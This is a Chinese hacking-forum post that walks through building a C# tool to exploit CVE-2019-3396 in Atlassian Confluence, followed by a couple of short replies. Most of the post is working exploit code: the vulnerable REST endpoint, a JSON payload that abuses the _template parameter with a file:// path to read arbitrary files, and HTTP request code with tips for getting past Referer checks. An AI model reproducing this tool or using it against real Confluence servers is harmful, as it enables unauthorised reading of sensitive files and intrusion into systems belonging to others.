用户
搜索

该用户从未签到

实习版主

Rank: 7Rank: 7Rank: 7

13

主题

58

帖子

325

魔法币
收听
16
粉丝
1
注册时间
2017-7-21
发表于 2019-6-3 23:59:53 24002
本帖最后由 不开森 于 2019-6-4 01:02 编辑

刚下班回来  来不及吃完饭得喵      猫猫都快要饿死了.........
@U_N97_W4YL(XE]U~KN5~70.png
0x00  漏洞简介

攻击者可以通过构造恶意的HTTP请求参数,对目标系统实施
(路径遍历、任意文件读取以及远程命令执行)攻击。该类攻
击可导致目标系统中的敏感信息被泄露,以及执行攻击者构造
恶意代码


目前受影响得版本有
1.xx,2.xx,3.xx,4.xx和5.xx版本
(其他版本还没试过,有兴趣有时间得看官大大们  可以去研究一下告诉猫猫)



0x01  漏洞利用原理
   
使用_template参数加上使用file:协议可以进行任意文件读取,
下面本文 将对任意文件读取这块的功能开发思路说一下
详情参考链接https://www.freebuf.com/vuls/200477.html(CVE-2019-3396)



0X02 漏洞利用工具开发思路



emmm  因为本人比较懒  审美也差  所以就以简洁能用为设计初衷

这个工具主要利用的是http协议加上目标地址+端口号为基础   以参数为主写的工具  好嘞  不多废话  
首先  肯定是先拿到用户输入的信息为开头 上代码

[C#] 纯文本查看 复制代码
urlPath = "http://"+url + ":" + port + "/rest/tinymce/1/macro/preview";


我在这里 对url和端口进行了拼接  因为习惯了面向对象思维 所以稍微套用了下get和set
但是又懒得写得那么严谨所以各位大大不要骂猫猫啊

[C#] 纯文本查看 复制代码
/// <summary>
        /// 设置Referer值
        /// </summary>
        /// <param name="url"></param>
        /// <param name="port"></param>
        /// <returns></returns>
        private string getReferer(string url, string port) 
        {
            return "http://"+url + ":" + port;
        }



我要说的是 我在开发过程中  踩到的坑
HTTP里的referer  一定要加上   有些站点会针对这个参数做判断
当时 就是对工具进行测试好久 找了很多帖子才发现问题

接下来就是

[C#] 纯文本查看 复制代码
   /// <summary>
        /// 设置host值
        /// </summary>
        /// <param name="url"></param>
        /// <param name="port"></param>
        /// <returns></returns>
        private string getHost(string url, string port) {
            return url + ":" + port;
        }


好的  主要得前期设置得参数到位后就是 写payload类  
详情可参考链接https://www.freebuf.com/news/200183.html
也可以参考本猫猫的payload



      
[C#] 纯文本查看 复制代码
/// <summary>
        /// payload file拼接
        /// </summary>
        /// <param name="path"></param>
        /// <returns></returns>
        private string getPayload(string path) {
            return "{\"contentId\":\"65601\",\"macro\":{\"name\":\"widget\",\"params\":{\"url\":\"https://www.dailymotion.com/video/xcpa64\",\"width\":\"300\",\"height\":\"200\",\"_template\":\"file:////"+path+"\"},\"body\":\"\"}}";
        }


好的最后就是  http这块得代码参考  

  
[C#] 纯文本查看 复制代码
/// <summary>
       /// 
       /// </summary>
       /// <param name="url"></param>
       /// <param name="param"></param>
       /// <param name="Referer"></param>
       /// <param name="Host"></param>
       /// <returns></returns>


            string strValue = "";
            string strURL = url;
            HttpWebRequest request;
            request = (HttpWebRequest)WebRequest.Create(strURL);
            request.Method = "POST";
            request.ContentType = "application/json;charset=UTF-8";
            //至关重要的
            request.Referer = Referer;
            try {
                request.Host = Host;               
            }catch(Exception e){
                
                return  e.Message+"<br><p>输入域名IP时不需要输入:http:// </p>";
            }


            //指定等待请求完成的时间  从发出请求开始算起,到与服务器建立连接的时间 最多十秒就够了
            request.Timeout = 15000;
            // 默认五分钟 从建立连接开始,到下载数据完毕所历经的时间
            request.ReadWriteTimeout = 15000;
            request.KeepAlive = false;  //设置不建立持久性连接连接
            request.ProtocolVersion = HttpVersion.Version10; //http的版本有2个,一个是1.0,一个是1.1 具体更具实际情况测试替换
            string paraUrlCoded = param;
            byte[] payload;
            payload = System.Text.Encoding.UTF8.GetBytes(paraUrlCoded);
            request.ContentLength = payload.Length;

           Stream writer;
            try {
                writer = request.GetRequestStream();
            }catch(WebException e){
                return "<p>" + e.Message + "</p>";
            }
            writer.Write(payload, 0, payload.Length);
            writer.Close();
            System.Net.HttpWebResponse response;
            try
            {
                response = (System.Net.HttpWebResponse)request.GetResponse();
            }
            catch (WebException ex)
            {
                response = (HttpWebResponse)ex.Response;
            }
            try
            {
                //超时了 这里会报错
                response = (System.Net.HttpWebResponse)request.GetResponse();
            }catch(WebException e){
                return "<p>" + e.Message + "</p>";
            }

忘记说了   写http这块得核心代码的时候 猫猫建议可以参考下代码上得注释呢  
猫猫也在这里踩过坑  

好的   思路仅供这么多   


多谢丞相大大提供的一些思路,灰常感谢辣
7RRHYQ_Z$%{M]%KEJOLLWB3.jpg

第一次写这么正式得技术思路分享文章  经验不足 很多不完善得地方 还请各位看官多多指导。我会慢慢改正得喵~
W{0{S@8WF76}@{BI@@E[PLV.jpg


对了   因为本喵比较懒  懒得写界面  就用了C#winfrom开发得
各位小哥哥小姐姐们 可以得话可以用其他语言写哦   
不过不建议大家使用C#  因为很多时候程序出问题 可供参考的帖子不是太多

下次有空我会把我写好得完整版 带有目录遍历功能得工具以及源码也放出来
所以请喜欢的大大们多多留意猫猫的有关Confluence漏洞利用工具开发的思路 (二)的文章帖子哦
晚安安,各位看官大大们








发表于 2019-6-22 12:20:52
不错 感谢楼主提供思路啊
使用道具 举报 回复
beiank 发表于 2019-6-22 12:20
不错 感谢楼主提供思路啊

很抱歉  文章二 的批量 因为耗时比较久 我会再拖几天
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册